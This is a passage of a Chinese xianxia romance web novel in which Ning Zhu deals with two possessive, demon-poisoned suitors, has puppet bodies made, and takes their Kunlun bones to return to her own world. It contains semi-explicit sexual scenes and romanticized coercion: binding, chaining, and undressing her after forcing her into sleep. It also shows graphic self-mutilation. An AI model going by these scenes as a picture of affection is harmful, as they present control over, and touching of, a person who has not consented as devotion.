她不知道,谢寒卿站在门外,目睹了一切。 果然,江似也中了妖毒。 ……只是宁宁让江似做傀儡干什么? 片刻后,谢寒卿踏上飞剑,无声跟在她身后。 体内妖力在翻涌,谢寒卿开始隐隐控制不住妖化。 他尝试通过灵力压制妖毒,但现在看来,只能延缓发作半个时辰。 无咎洞府就在不远处,谢寒卿加快速度,赶在自己失去意识前跌下飞剑。 宁竹先一步到了无 咎洞府,她往庭院中走,发现一片漆黑,心中一惊。 “谢师兄!”宁竹唤了一声,无人应答。 宁竹面色大变,忙急匆匆往外冲。 然而刚走几步,忽然有狐尾勾住她。 “……宁宁。” 宁竹回头,谢寒卿不知何时出现在自己身后。 月色皎洁,他站在流樱树下,白衣清冷,身后狐尾如同扇面铺开,漂亮极了。 他狐尾微卷,将宁竹拉到自己这边拉。 速度太快,宁竹伸手撑了下他的胸膛,才堪堪稳住身形。 狐尾顺势盘旋在宁竹身下,托住她的臀,将人笼在怀中。 宁竹垂眸,忽地一怔。 她愣愣抬手,轻轻碰了下谢寒卿的眼角。 有水痕。 狐尾一点点收拢,将宁竹紧紧笼住。 宁竹觉察到不对劲:“谢师兄,你怎么了?” 谢寒卿的尾巴缠住宁竹的手腕和脚腕,淡色的瞳盯住她。 本体的意识还没有彻底被遮蔽,却又被妖力裹挟着,某些压抑在心底的阴暗情绪在一点点滋生,攀爬。 她要破碎虚空,永远离开这里。 绝不可能。 绝不可能……抛下他。 狐尾感应到他的情绪,一点点缠绕,收紧。 谢寒卿缠得宁竹几乎有些喘不过气来。 但她眸中只有关切,宁竹抬手抚了抚他的额头:“谢师兄,你又在发热!” 谢寒卿只是蹭了蹭她的手掌:“宁宁。” 宁竹一听,忙从乾坤袋里掏出几瓶丹药,倒出一粒喂给他:“谢师兄,吃这个。” 谢寒卿含住她指尖,细细吮咬,与此同时,狐尾温柔地缠住她的小腿,轻轻磨蹭。 宁竹指尖一颤,根本控制不了身体的反应。 她扭动了下身子,想要从他怀中跳下去。 那些狐尾却如同藤蔓将她牢牢缚住。 谢寒卿抬起一双晦暗的眸:“宁宁,别动……让我抱一会儿。” 宁竹终究还是安静下来。 他们静静相拥,片刻后,谢寒卿的狐尾试探着,一点点滑入她的裙底。 宁竹呜咽一声,按住他的尾巴:“谢师兄……” 尾音里带了点颤意。 谢寒卿捧起她的脸,落下温柔的吻。 他含着她的唇瓣,轻轻舔吮,轻车熟路撬开她的齿关,一路往深处滑。 宁竹唔唔两声,声调碎不成形。 裙摆被撕碎。 少女无力地依靠在他的肩上。 ……狐尾湿了。 “宁宁。”谢寒卿轻声呢喃,眼瞳微微有些失焦。 宁竹的指甲无意识在他脖颈上留下一道长长的红痕。 狐尾颤抖着,将怀中的少女缠绕得更紧。 花枝摇乱,月色如霜。 天色蒙蒙亮了。 谢寒卿抱着困倦得已经睡过去的少女,入了灵池。 谢寒卿在她眉心一点,让她沉沉昏睡,褪去她的衣衫,亲手替她洗去欢.爱后的痕迹。 少女白皙的皮肤上落下数道青紫红痕,谢寒卿的指尖重重碾过,清冷的瞳倏然变得幽深莫测。 他的身上亦留下了数道细细的红痕。 情动之时,她体内的红丝控制不住地钻出,缠上他的身子,兴奋地颤栗。 便是在那个时候,谢寒卿再度感应到了一种熟悉。 谢寒卿现在终于敢肯定,这种熟悉,就来自于昆仑神女。 他们身上都有昆仑神女的气息,而昆仑神女……有破碎虚空的能力。 所以,宁竹是想借助昆仑神女的神力助她破碎虚空,回到属于自己的地方么? 谢寒卿掌下用力,握住少女纤细的腰肢。 ……若她要他这副身子,拿去便是。 但她休想抛下自己。 水珠从小仙君黢黑的长睫上滑落。 他俯身,惩罚般在她锁骨上咬下重重一口。 宁竹醒来时,天亮已然大亮。 她缓缓睁开眼,对上一双如霜似雪的脸。 混乱的记忆慢慢回笼,宁竹险些从床榻上弹跳起来。 她慌慌张张掀开被衾,小仙君蹙了下眉,还没醒。 宁竹稍稍镇定下来。 她检查了下自己的乾坤袋,见那枚阴阳精石还好端端方才里头,松了一口气。 没关系,他什么也不记得。 宁竹赤足跳下床榻,却不小心踩到什么。 她低头看,被揉成一团的衣裙堆叠在地上,宁竹耳尖一红,挥手将一地狼藉清理干净,飞快推门跑了。 门扉开合那一瞬,谢寒卿倏然睁开了眼。 稀疏天光倾泻而下,映不进小仙君淡色的瞳。 宁竹刚飞出无咎洞府,忽然被人抓住手腕,揽入怀中。 宁竹险些尖叫起来。 江似抓住她的手,语气阴森森:“你在无咎洞府留了一夜?” 宁竹毛骨悚然,她挣扎了下:“江似,你怎么在这?” 江似气笑了。 该死的妖毒,足足让他被操控了三夜。 直到昨夜,他稍稍压制住那些妖毒,理智回笼的那一刻,江似第一件事就是去找宁竹。 江似感应到了她的位置。 无咎洞府。 他取出傀儡,闯入天玑山,却无法闯入无咎洞府。 无咎洞府布置了新的结界,他竟无法破解,就连他附着在拘银链上的神识都被屏蔽。 江似咬牙切齿徘徊片刻,正打算强行破开结界,宁竹出来了。 江似控制不住手下力度,将宁竹的手腕弄得一片通红,他黢黑的眼瞳盯着她:“你在无咎洞府留了一夜?” 宁竹心虚不已:“有点事情耽搁了……” 江似的目光落到了她的脖颈上。 他的神情忽然变得极为可怕。 少女白皙的脖颈上,落了一道小小的暧昧红痕。 宁竹察觉到他的视线,忙抬手摸了摸脖子:“怎么了?” 江似抬手,按在那道红痕上。 “放开她。”一道清冷的声音传来。 宁竹偏头:“谢师兄!” 然而江似在看到谢寒卿的那一刹那,瞳孔颤动,脸色霎时变得苍白。 ……谢寒卿,元阳已失。 江似的目光又落到宁竹身上。 不,宁竹的元阴还在。 江似脸色阴晴不定,抓住宁竹的手,瞬间消失不见。 宁竹重重跌在床榻上。 识海中霎时响起 谢寒卿的声音:“宁宁!” 宁竹高高悬起的心在听到谢寒卿的声音时,霎时回落到肚子里。 她在识海中回应:“谢师兄,我没事,一会儿……” 江似忽然抓住了她的乾坤袋,将乾坤袋生生扯断。 宁竹高呼一声。 乾坤袋被远远抛开,江似无比清晰地看到,宁竹……元阴已失。 猩红爬上眼球,江似撕开宁竹的衣领。 ……锁骨之上,密密麻麻的红痕交叠在一起。 宁竹低头一看,眼睫微颤。 乾坤袋已经被丢开,没了阴阳精石,江似自然能明白发生了什么。 识海中,谢寒卿一直在呼唤宁竹。 宁竹平静道:“谢师兄,我没事,一会儿再联系你。” 宁竹在等江似下一步动作。 然而他的手只是垂在她衣领边,一动不动。 宁竹看到,江似攥成拳的另一只手,已经鲜血淋漓。 她到底是不忍。 宁竹轻声开口唤他:“江似。” 江似垂在她衣领边的手动了。 他轻轻托住她的脸,眼瞳因为痛苦而轻轻收缩着。 “宁竹,为什么不是我?” 他嗓音沙哑,背脊一点点佝偻,手指却很轻很轻地摩挲着她的脸颊:“宁竹……为什么不能是我?” 宁竹缓缓抬手,回握住了他的手。 江似如同被烫到了一般,身子轻轻一颤。 他俯身,试探着,一点点含住了宁竹的唇。 宁竹没有推开他。 初时温柔,后来变成泄气般的研磨啃咬。 江似不知不觉将她压在床榻上。 在要伸手挑开她的衣带那一瞬,江似忽然停住。 少女雪白的肩颈上,红痕还未褪去。 江似垂着眼,低头,埋在那枚齿痕处,狠狠咬下去。 属于另一个人的痕迹被彻底覆盖。 江似舌尖血腥味洇开。 他狼狈地抱住她,眼泪大颗大颗掉落。 宁竹只是轻轻回抱住他。 江似狠狠收紧手臂。 衣衫被眼泪洇湿,江似没发出任何一点声音。 待到末了,江似哑声问:“宁竹,你要我做傀儡……到底是用来做什么?” 宁竹轻轻抚着他的发:“红丝搅得我很痛,我想要一具新的肉身。” 骗子。 根本不是。 他可以接受她心里有两个人,但她心里……谁也没有。 她只想回“家”。 少年洞黑的眼瞳之下翻涌着惊涛骇浪。 江似拥住她:“宁竹,你留在这里,直到我把傀儡做出来,好吗?” 宁竹沉默片刻,轻声说:“嗯。” 第85章 无妄海。 风沙四起, 卷得小仙君白色的衣袍烈烈作响。 谢寒卿的识海中忽然响起了宁竹的声音:“谢师兄。” 他倏然抬眸:“宁宁,你没事吧?” 宁竹道:“我没事。” “谢师兄,这几日……我暂时不能回天玑山了。” 谢寒卿握紧手中长剑,做好了随时再闯一次无妄海的准备。 他嗓子很哑:“宁宁, 你是自愿跟他离开的吗?” 识海中安静了片刻, 宁竹说:“嗯, 我有一些事情要拜托江似。” “谢师兄, 别担心我, 再过十日, 我来为你解妖毒。” 谢寒卿眼眶一点点变得猩红:“……好。” 谢寒卿并未离开, 而是候在无妄海外。 一天一夜过去,终于有魔修出现。 无妄海的上古结界能抵挡神识入侵, 谢寒卿在一个魔修身上藏下一道传音符,伺机而动。 魔修跟同伴一起进入了魔域。 也算是谢寒卿运气好, 那魔修很快回到了魔宫。 谢寒卿在传音符上降了咒, 识别到要传送之人就在附近时,传音符会自动脱落,飞向指定之人。 如此便能防止传音符落入他人之手。 白晚正在主殿外跟曲亦卓说话:“尊上昨天带回来的女子,你可看清是谁了?” 曲亦卓瞥她一眼:“尊上的事情, 少探听为好。” 白晚气闷不已。 从归墟回来之后,尊上对她信任大减,如今许多核心她都接触不到了。 白晚冷哼一声,扭头便走。 便是在这时,一道传音符无声飘到她面前。 觉察到传音符上附着的气息, 白晚瞳孔一缩,忙将传音符笼到手心。 她心脏怦怦直跳,装作无意离开了魔宫。 很快白晚出现在无妄海不远处。 天色已经暗了, 白晚手中握着魔气凝成的长鞭,警惕地环顾四周。 谢寒卿走了出来。 白晚没有放下戒备,而是说:“你找我做什么?” 谢寒卿淡声说:“魔尊昨天带进去的人,是宁竹。” 白晚瞳孔一缩:“你说什么?” 她焦虑起来,为什么宁竹又被魔尊抓进来了?天玑山结界就这么薄弱吗? 谢寒卿又道:“宁竹暂时不会有危险。” 他话音转,又说:“如果你当宁竹是朋友,我想请你帮一个忙。” 淮水。 姜思无刚刚处理完姜家一处领地的魔气暴动,他疲惫地揉着眉心,回到碧水瑶台。 下一刻,姜思无怔了下:“寒卿?你怎么又回来了?” 谢寒卿冲他微微一笑:“嗯。” 片刻后,姜思无险些将面前的茶盘掀翻:“怎么可能?!” 寒卿竟和他说……他的寿命所剩无几? 对面的谢寒卿表情很平淡,他甚至抬起茶水浅浅饮了一口:“谁人能与天同寿?修士一生,本就是逆天道行事,就算渡劫大能,亦有一死。” 姜思无眼眶都红了,他胸膛起伏:“寒卿,你在骗我对不对。” 小仙君眼睫低垂,袖袍逶迤如雪。 姜思无沉默片刻,道:“……你找姜楠的后人,难道就是为了窥探自己的命数?” 他摇头:“所谓天知者,也只是一个传说,寒卿,你怎可轻信?” 谢寒卿不愿再在此事上纠葛,他浅饮了一口茶:“几百年前,数名大能以身封印魔渊,天下方得太平。” “如今我也只不过是效仿前人,班门弄斧。” 姜思无愤然道:“要以身封印魔渊,也合该是渡劫期修士站出来!你年岁尚小,又为何要牺牲你?” “我绝不会同意!” 谢寒卿为他斟茶:“表兄忘了,我并非要以身入阵,封印魔渊。” “以我一人之能,也只是杯水车薪。” 他抬起一双清凌凌的眼:“待我死后,表兄用我这副身子铸成法器,虽不能封印魔渊,却也可镇压一二。” 哪怕他体内的昆仑神女之力被抽离,但这副身子,到底修炼多年,做成一件法器,绰绰有余。 姜思无缓缓摇头,眼角淌下泪来:“寒卿,你要我如何……” 小仙君瞳色清冷,遥遥越过窗棂看向远处。 问心石上,他没有道心。 但到头来…… 谢寒卿笑了笑:“表兄,这也算是我的一点未尽心愿。” 他迎着姜思无痛苦的目光,一字一句说:“这件事唯有交给你,我才放心。” 姜思无沉默片刻,苦涩道:“好,我答应你。” 宁竹在魔宫度过了足足三天。 第四天,南陵的一处领地魔气暴动,修士和魔修打了起来,魔修伤亡惨重,江似一早就离开了魔宫处理此事。 宁竹蹲在那具已经成型的傀儡前看了半晌,慢吞吞走出了院落。 这几日他们默契的没有提江似的身份,江似也没有限制她的行动,只是宁竹从来没离开过这个小院。 小院地势极高,院中有一处假山,宁竹跳了上去,从这里可以看到魔域的全景。 忽有一个戴着面具的男子,带着一队魔修走过。 宁竹没忍住,开口唤了他一句:“屠星大人。” 曲亦卓停了下来。 他仰头,看到了坐在假山上的宁竹。 曲亦卓朝她行礼:“宁仙子。” 宁竹跳了下来,站到他面前。 曲亦卓看了一眼身后的魔修:“你们先下去。” 宁竹盯着他的面具,片 刻后,她问:“屠星大人还记得我吗?” 曲亦卓笑道:“与仙子曾有过一面之缘。” 宁竹有点失望,但还是笑了笑:“你在这里过得好吗?” 曲亦卓似乎有点惊讶,只是面具遮掩住了他的表情,他的声音很温和:“嗯,我在这里很好。” 宁竹点点头:“那就好。” 两人之间再无话可说。 就在这时,曲亦卓忽然朝着她身后行礼:“尊上,您回来了。” 江似同样戴着面具,银发的发尾上沾染了星星点点的血渍。 他走过来一把拉住宁竹,语气十分紧张:“你要去哪里?” 宁竹回握住他的手,微笑道:“不去哪里。” 曲亦卓的目光在他们交叠的手上定格了一瞬,他冲着两人点点头:“属下先告退了。” 江似拉着宁竹往回走。 宁竹抬眸看他:“你杀人了吗?” 江似喉头一紧,下意识说:“……我杀的是魔修。” “他们刚被魔气侵染,有些控制不住体内的魔气。” 宁竹点了下头,抬手施诀,他身上沾染的血渍变得干干净净。 她又说:“你可以把面具摘掉吗?这样我不太习惯。” 江似的银发一寸寸变黑,面具也消失不见。 他抿了抿唇:“你在跟屠星说什么。” 宁竹沉默片刻,问:“……屠星是我认识的人吗?” “江似,我想听真话。” 江似眼神闪躲:“……嗯。” “是曲亦卓吗?” 江似点点头。 宁竹叹了一口气:“果然是他。” “宁竹……你不怨我吗?” 宁竹偏头看他:“我猜你不会无缘无故吧他变成魔修,他的魂灯已经灭了,所以是和白晚的情况一样吗?” 有的事情,没必要让宁竹知道。 江似含糊道:“嗯。” 宁竹不再说话。 两人一起用了晚膳,天色一点点暗下来。 江似再度妖化。 宁竹凑近他,有点紧张地说:“江似,说好了你今天要教我傀儡术的。” 江似用尾巴无声圈住她,洞黑的眼瞳一动不动凝望着她。 “嗯。” 宁竹开心不已,拉住他的手:“现在就开始吧?” 宁竹不知道的是,江似现在能控制妖毒的时间越来越长了,他此时意识是清醒的。 江似回握住她的手:“好,我们开始。” 他垂下眼睫,开始对宁竹细细阐述傀儡术。 宁竹用留声符逐字逐句记录下来,等之后留给谢寒卿,他便可以根据这些修改锻造这具傀儡的外观了。 傀儡术之复杂,超出宁竹想象。 江似说完最后一个字,宁竹忍不住问:“江似,傀儡术失传已久,你是从哪里学来的?” 江似回望她。 何时学会的? 江似再度想起被埋葬在南陵城郊的那些时日。 身子长好那一日,树林里闯入了一个老疯子。 老疯子靠在树下嚼着馕饼,亲眼看着他掘土而出,吓得大喊大叫。 他身边两个小童朝着江似发动攻击,被江似拧断喉咙。 然而诡异的是,那两个小童抽动着,将被拧断的头颅安好,再度朝他发动攻击。 江似被步步紧逼,最后魔气暴动,将老疯子炸成碎片,两个小童应声而倒。 他在老疯子旁边发现了一个乾坤袋,里面放着些许灵石丹药,还有一本破破烂烂的书。 各大世家宗门绝对不会想到,被盗千百年的傀儡术,最后竟落到了江似手中。 后来江似拜入天玑山,才知道傀儡术乃是禁术,于是他学成傀儡术之后,将那本破书烧毁。 江似当然没存好心,他只是想把这门邪术牢牢抓在自己手中。 一无所有之人,想要复仇,何其困难? 他只能抓住手中拥有的一切筹码。 江似曾无数次畅想,待到有一日,他会亲手将清虚真人和谢凌风做成傀儡,供他差遣。 傀儡可以炼制新的肉身,到时候他是给他们一具畜生的身子,还是维持原型呢? 这些想法……江似永远不会告诉她。 他只是轻轻将她圈紧了些,微笑道:“机缘巧合。” 宁竹点点头,不疑有他。 她看向那具浸泡在银色流动液体中的傀儡,轻声问:“江似,傀儡还有多久做好?” “七八日吧。” 宁竹默默计算着时间,对他说:“我想见一些人。” 江似眼睫颤抖,但他只是用那双黢黑的眼看着她:“见谁?” 宁竹掰着手指:“白晚,姜师兄,无烬……还有白暮师姐。” 宁竹摇了摇他的袖子:“你也可以陪我一起去。” 没有谢寒卿。 江似垂在袖中的手松开:“好啊。” 江似带着宁竹来到了白晚的寝宫外。 烈焰花开得很好,花色灼灼,可惜白晚不在。 江似:“我召她回来。” 宁竹按住他的手:“我们先去见其他人,回来再见她。” 两人离开了魔宫。 他们不知道的是,在他们离开魔宫那一刻,白晚匆匆递出一道信息。 无咎洞府,谢寒卿倏然抬眸,片刻后,他匆匆朝着淮水赶去。 江似速度极快,化为魔气包裹着宁竹,顷刻间便将人带到了淮水。 甚至他们就停留在姜思无的房间外。 屋门大敞,姜思无坐在地上,独自一人饮着酒。 宁竹觉察到他心情很不好。 江似问:“要现身见见他吗?” 宁竹摇头微笑:“不用了,这样就很好。” 庭院中花木葳蕤,宁竹用灵力操纵着摘掉一朵花。 风起,那朵花飘飘荡荡,随风潜入屋中,落在姜思无的桌案上。 姜思无怔了下,似有所感拾起那朵花,看向屋外。 ……哪里来的长乐花? 宁竹含笑看他。 姜师兄,希望你余生长乐无忧。 他们离开,很快又飘到了一处庭院,院子里飘荡着药香。 无烬正卷着一册医书认真地读,他伸手去拿笔,手下不稳,那支笔险些掉落。 宁竹用灵力托了一把,无烬似乎被书上的内容吸引住了,并没有注意,自然而然地抓着笔在纸上勾勒。 宁竹忍不住笑了下。 无烬……已经找到自己的路了,余生为自己而活,实在是再好不过的事。 江似默默陪在她身边,问:“在淮水还有想见的人吗?” 宁竹想起姜汐年现在应该在蓬莱,于是摇头道:“……我们去天玑山吧。” 江似有一瞬的紧张,但又若无其事说:“好。” 他们没有注意到,一道影子就缀在他们身后。 谢寒卿眼尾泛着不正常的潮红,跟着那团烟雾。 他看不到他们两人,但他感应得到宁竹的位置。 宁竹去见了白晚,见了姜思无,见了无烬…… 下一个呢,下一个又会是谁? 他们三人一前一后来到了天玑山。 江似在天玑山外停住,化为傀儡。 宁竹惊叹道:“本体和傀儡原来可以这么切换。” 她捏了捏江似的手臂,触感与真人别无二般。 她笑盈盈牵起他的手:“回去看看吧。” 她和江似一起回了自己的洞府。 宁竹站在门口,目光从那些熟悉的物件上划过。 ……原来她在这里,也呆了那么久了。 宁竹不敢停留太久,怕江似看出端倪,她走到箱笼边,取出一只木匣:“我们走吧。” 很可惜白暮也不在天玑山。 宁竹遇到了齐玉明,齐玉明告诉她:“魔修犯乱,师姐昨天就赶去镇压了。” 魔渊开口后,这是白暮的日常。 宁竹有点遗憾,只能将那只木匣交给齐玉明:“齐师兄,可以麻烦你把这个转交给白师姐吗?” “是一件回礼。” 如果顺利的话,血洗天玑山这段剧情不会再发生,白暮……应该也不会死。 但她还是想将这件法衣送给她。 齐玉明接过:“师妹放心,我会转交的。” 宁竹冲他笑笑,转身要走。 齐玉明忽然唤住她:“宁师妹。” 他欲言又止,最后叹气:“没事,师妹,我会把东西好好转交给 白师姐的。” 宁竹猜到了什么。 旁人看来她和如今的白晚尚有联系,可是白晚…… 她只能笑着点点头,转身离开。 第86章 太阳落山了。 宁竹御剑, 在万道霞光中穿梭,俯瞰着熟悉的一草一木。 待到最后,她忽然想起什么,又去了一趟珠玑阁。 今日当值的是鸽子吴。 宁竹很开心:“吴师兄! 鸽子吴一看是她, 也很开心:“宁师妹, 好久没看见你了。” 宁竹将一枚平安扣递给他:“今天我不接任务也不卖东西, 想把这个送给师兄。” 不算贵重, 但胜在心意。 鸽子吴乐呵呵接下:“宗门大比就快要开始了, 宁师妹好好准备, 你放心, 有好的活儿我先给你压着,等你来接。” 宁竹眼眶有点湿润, 她点点头:“好呀。” 离开珠玑阁,宁竹对着身旁的空气说:“江似, 我们回去吧。” 安静片刻, 有人牵住了她的手。 江似声音很轻:“宁竹,回你的洞府吧。” “我来回很方便,每天做完傀儡,我就过来找你。” 宁竹唇角一点点弯起。 抓住她的手猛然收紧:“但说好了!不许再去无咎洞府!也不许见谢寒卿!” 宁竹抬手轻轻抱了下他:“江似, 谢谢你。” “但……我们还是回魔域吧。” 这里有太多熟悉的人和事。 她怕一直留在这里,她就没有勇气了。 江似沉默片刻:“……宁竹,今晚就歇在这里吧。” “明天我来接你。” 宁竹到底还是答应了。 宁竹蜷在熟悉的床榻上。 江似轻轻碰了下她的发:“我先回去做傀儡,明天来接你。” “嗯。” 江似施诀,宁竹沉沉睡去。 他在四周布了一层又一层结界, 就算是清虚那老头来了,一时半会也破解不开。 江似在宁竹的洞府前停留片刻,冷声道:“跟了一天, 还不出来么,谢师兄。” 片刻后,谢寒卿从矮岩后走了出来。 天色已经黯了,宁竹屋檐下挂着的六角风灯幽幽转着,光影斑驳,倾洒在小仙君白色的衣袍上。 江似眯了眯眼。 果然,他也控制得住体内的妖毒了。 谢寒卿率先开口:“傀儡还有几日做好?” 江似冷哼一声:“你关心这个做什么。” 谢寒卿倏然抬眸,瞳色清寒,如同经年积雪的寒潭,一丝涟漪也无。 “江似,你当真不知道?” 江似心尖一颤。 他眸光变暗:“你知道多少?” 谢寒卿沉默片刻:“傀儡做成之日,多警惕些。” 江似蹙了下眉:“不要在这里打哑谜,有什么就说。” 谢寒卿却深深看他一眼,折身踏上飞剑离开。 江似站在原地,没由来地慌乱起来。 ……谢寒卿定然还知道什么。 他知道什么?知道宁竹要回哪里去? 江似猛然化为黑雾,追上谢寒卿,将他团团围住。 “谢寒卿,你知道宁竹到底要回哪里?” 谢寒卿没有回答。 江似有些气急败坏:“谢寒卿!” 小仙君在半空中停下。 风大,卷得他的衣袍如鹤翅招展。 江似化为实体。 一人白衣若雪,一人黑袍烈烈。 谢寒卿抬手,一张泛着金光的契书出现在他面前。 江似一眼扫过,面色变得极为阴沉。 契书上赫然写着: “天道为鉴,万灵共证,百年之内,魔域不得主动向修真界开战,亦不得主动屠戮修士,否则魔域气运衰败,魔域子民修为永滞,子嗣断绝。” 他抬手就要捏碎这张契书,谢寒卿及时将契书收起,色若琉璃的眼看着他。 “你也看到了,契书上下了妄言咒,若是我有半句虚言,当场魂飞魄散。” “一张契书,换你想知道的事,很公平。” 江似冷笑:“魔域不得主动向修真界开战,那修真界便可以屠戮我的子民?” 谢寒卿挥手,一本泛黄的书册浮现在他掌心:“此乃青冥集。” 江似眸色微变。 这本书不是姜家失传已久的传世之宝么?据说其中记录了九九八十一道阵法,能得窥其一,便已是天大的机缘。 ……原来在谢寒卿手里。 “无妄海的上古结界,寻常人根本破解不开,只要你的子民好好呆在魔域不出来,无妄海,便是天然的屏障。” “我可以把这本书交给你,你派人在无妄海进行布置,阵法叠加上古结界,可保魔域安然无恙。” 江似面色变了又变。 他已经答应过她,会约束魔修。 既然如此…… 江似咬牙切齿,催动心头精血:“结契吧。” 谢寒卿再度取出契书,两人各自滴下心头精血,契书光芒大作,又化作数道金光隐入两人体内。 谢寒卿也不再卖关子,而是看着江似,一字一句道:“破碎虚空,归于异世。” 江似瞳孔一缩。 谢寒卿淡淡道:“这便是她的归处。” 江似猛然化出万柄飞旋的小剑:“你胡说!” 谢寒卿只是看他一眼:“妖毒发作时,宁竹对我们有绝对掌控力,你还不明白么?” “只是单纯的妖毒,又怎可能如此?” 江似颤声说:“有人在帮她。” “是谁?谁要带她离开?” 谢寒卿沉默片刻,吐出两个字:“天道。” 天光大亮。 宁竹迷迷糊糊醒来。 身上好重,她下意识推了一把:“江似?” 少年将她紧紧拥抱在怀中。 宁竹被缠得喘不过气来,她挣扎了下,脸色一凝。 她还躺在榻上,却不是自己的洞府。 ……她的手腕脚腕都被束住,行动间,链条哗啦作响。 宁竹气得大骂:“江似!你发什么疯!快放开我!” 少年马尾蔫巴巴垂在肩上,片刻后,他缓缓抬起头。 宁竹一怔。 江似眼眶猩红,眼白爬满血丝。 他病态地捉住宁竹的手腕:“宁竹,你要回哪里去?” 宁竹的瞳孔因为惊恐快速收缩。 江似托起她的下巴,在她脸颊温柔落下一吻:“宁竹……不要抛下我。” 泪痕打湿了宁竹的脸。 忽有另一双手从侧面搂住了她的腰,那人也倾身吻上来:“宁宁,也不要抛下我。” 是谢寒卿。 宁竹颤抖起来:“你们怎么会知道?” 两人一左一右缠在她身上,在她耳边呢喃:“你休想抛下我们。” 分明天已经亮了,谢寒卿和江似却显出妖形,柔软和坚硬缠绕在一起,将她紧紧捆住。 宁竹知道不能再拖了。 她流着眼泪,对江似说:“你还记得曾跟我说过的话吗?无论什么代价,你都会答应我。” 江似用黢黑又懵懂的眼睛看着她。 宁竹不忍看他的眼,抬手覆住:“江似,召出你的傀儡。” “……我要你把体内的昆仑骨剖给我。” “就在你的脊骨处,那块金黄色的骨头。” 宁竹朝他递出了一把匕首,剑刃闪着寒芒:“现在,现在我就要。” 江似甩了甩尾巴,他接过匕首,用魔气包裹住,朝着自己的脊骨剖去。 利刃划开脊骨,江似因为痛苦而颤抖。 无数魔气包裹着利刃,像是一只手深深地剖了下去。 鲜血淋漓。 江似将那块泛着金光的骨头托到宁竹面前:“宁竹,在这里。” 与此同时,他的手开始一点点变得透明,如同流沙,四散成金光点点。 宁竹泪流满面,飞快往旁边的傀儡上面贴了几道引魂符。 江似定定看着她,似乎还想说什么,但很快只剩下一道缥缈的元神。 元神飞入傀儡,宁竹又在上面贴了几道定魂符。 七日之后,元神就会安定下来,与新的肉身融合在一起,这是江似教给他的方法。 一旁的谢寒卿安静地看着她,狐耳轻轻颤动着。 宁竹回过头,哑声说:“谢师兄,现在我要你体内的那块昆仑骨。” 小仙君没有说话,如同当日为她做骨戒一样,逼着怀卿剑,剖出了那块金黄色的昆仑骨。 谢寒卿朝她摊开手,瞳孔清冷:“宁宁,给你。” 宁竹如法炮制,引着谢寒卿的元神进到了傀儡里。 两具傀儡并肩躺在地上,与真人别无二般。 宁竹的眼泪好像已经快要流干了,她托着那两枚昆仑骨:“漓鸾仙尊!我取到了!” 宁竹眉心一凉,仿佛有人在幽幽叹息。 漓鸾的声音响起:“昆仑骨现世,为祸人间,是时候该了结了。” 无数金光如同花瓣纷飞,将宁竹包裹住。 视线一点点变得模糊,她最后看了一眼谢寒卿和江似,缓缓闭上了眼睛。 宁竹似乎做了一个很长的梦。 梦里她的身子变成了山脉的一部分,感受着树芽生根 ,花开花落,鸟鹊南飞,寒霜覆盖。 日复一日,年复一年。 她能清晰地感知着周围的一切,但却无法动弹,无法与外界交流。 也不知道过了多久,久到宁竹以为自己已经是一座山,一块石头,漓鸾的声音再度响起:“宁竹,时辰已到,你的肉身与昆仑骨已经融为一体。” 宁竹倏然清醒。 漓鸾道:“我会屏蔽你的感官,毁去你的肉身,与此同时,破碎虚空,打开三千界的通道,你的神魂一旦得以脱离,就朝着通道外走。” “三千界纷繁复杂,你唯有靠自己找到归处。” “切记不能飘荡太久,否则神魂尽消,三千界将再无你的痕迹。” 宁竹忽然有些紧张:“我知道了。” 地底发出嗡鸣,直击魂魄的颤抖扩散开。 金光大作,宁竹有一瞬间什么都看不见了。 她身子忽的一轻。 远方冥冥,仿佛有鲲鹏划过云海,又似有亿万星辰坠落平地。 一道天梯横在半空中。 漓鸾焦急的声音响起:“宁竹,快走!” 宁竹不管不顾,忙攀上天梯。 天梯直通云海,少女纤薄的身影被云海吞没,画面戛然而止。 一个老人噗嗤咳出一口血,嘴唇发白倒在地上不省人事。 谢寒卿抬手一挥,老人家面色慢慢转为正常。 此人正是姜楠的后人。 剑气裹挟,将他带出了屋子。 他们分明还在宁竹的小屋。 江似看着床榻上熟睡的少女,面色苍白,喃喃重复:“……昆仑骨?” 黢黑眼瞳如同两团鬼火,漂浮在惨白的脸上。 “谢寒卿,你说此乃天知者的预测,也就是说这一切都会是真的?” “……以身封印昆仑骨百年之久,她是疯了吗?” 谢寒卿沉默不语。 江似咬牙切齿道:“如果我们不给宁竹昆仑骨呢?昆仑骨在我们体内,我们不给她,便不会发生这些事。” 谢寒卿垂着眼,眼瞳机械地转了下。 ……原本的结果,一定不是这样。 宁竹和漓鸾之间,达成了某些约定。 她以身封印昆仑骨,他助她破碎虚空,回归故里。 可是他和江似,才是昆仑骨的拥有者。 也就是说,哪怕昆仑骨要被毁灭,最开始也一定是由他或江似来完成的。 宁竹……扭转了因果。 谢寒卿淡声将自己的猜测说了。 江似神情阴沉,眼眸中浮现出恨色:“你的意思是,若不是宁竹干预,最后的结果,是你死我活,亦或……我们都去死?” 谢寒卿颔首:“很大概率,漓鸾已经说了,昆仑骨为祸人间,应该被毁去。” 江似瞳色幽幽:“为什么会是宁竹?” 这个问题,谢寒卿也无数次想过。 可他没有答案。 谢寒卿摇头:“宁竹乃是异世来客,或许有机缘窥见我们的未来。” 江似眸光微动,片刻后,他眉头紧蹙:“为什么看不到之后的事情?” 谢寒卿陷入沉默。 他曾窥探过两次宁竹的未来。 宁竹应该是回到了属于她的地方。 可为何这一次画面戛然而止? 难道…… 谢寒卿眼瞳轻轻一缩,因果相承,也就是说,宁竹的未来仍是变数。 她有可能成功在三千界找到故里,也有可能就此神魂湮灭。 谢寒卿呼吸变得有些急促:“哪怕破碎虚空,要在三千界中找到归途,又何其容易?” 江似忽然开口:“我要跟着宁竹。” 他咬牙切齿:“她神魂那么弱小,竟妄想在三千界中穿梭?” 江似的身子在轻轻颤抖。 ……哪怕是神魂消散,他也要同她一起。 谢寒卿看向江似:“你也看到了,昆仑骨被取出之后,我们的肉身会消散。” “若不想宁竹被困百年,只能你我吞噬彼此的昆仑骨,亦或找到新的肉身容纳昆仑骨。” “宁竹之所以能容纳昆仑骨,或许跟她体内的红丝有关。” 江似此时也想明白了一切。 他冷笑:“什么狗屁倒灶的昆仑神女?什么狗屁倒灶的昆仑骨?” “为何要让宁竹承受因果?” 谢寒卿看着他,冷淡剔透的瞳微微波动:“……那就寻找第三种方法。” “江似,天道要的,不过是你我体内的昆仑骨。” 江似表情微微变化。 ……天道要的,只是他们体内的昆仑骨。 他忽然有了一个主意。《 》 【正文完】 第87章 “真漂亮。”宁竹端详着眼前这具与她一模一样的傀儡。 江似与她并肩而立, 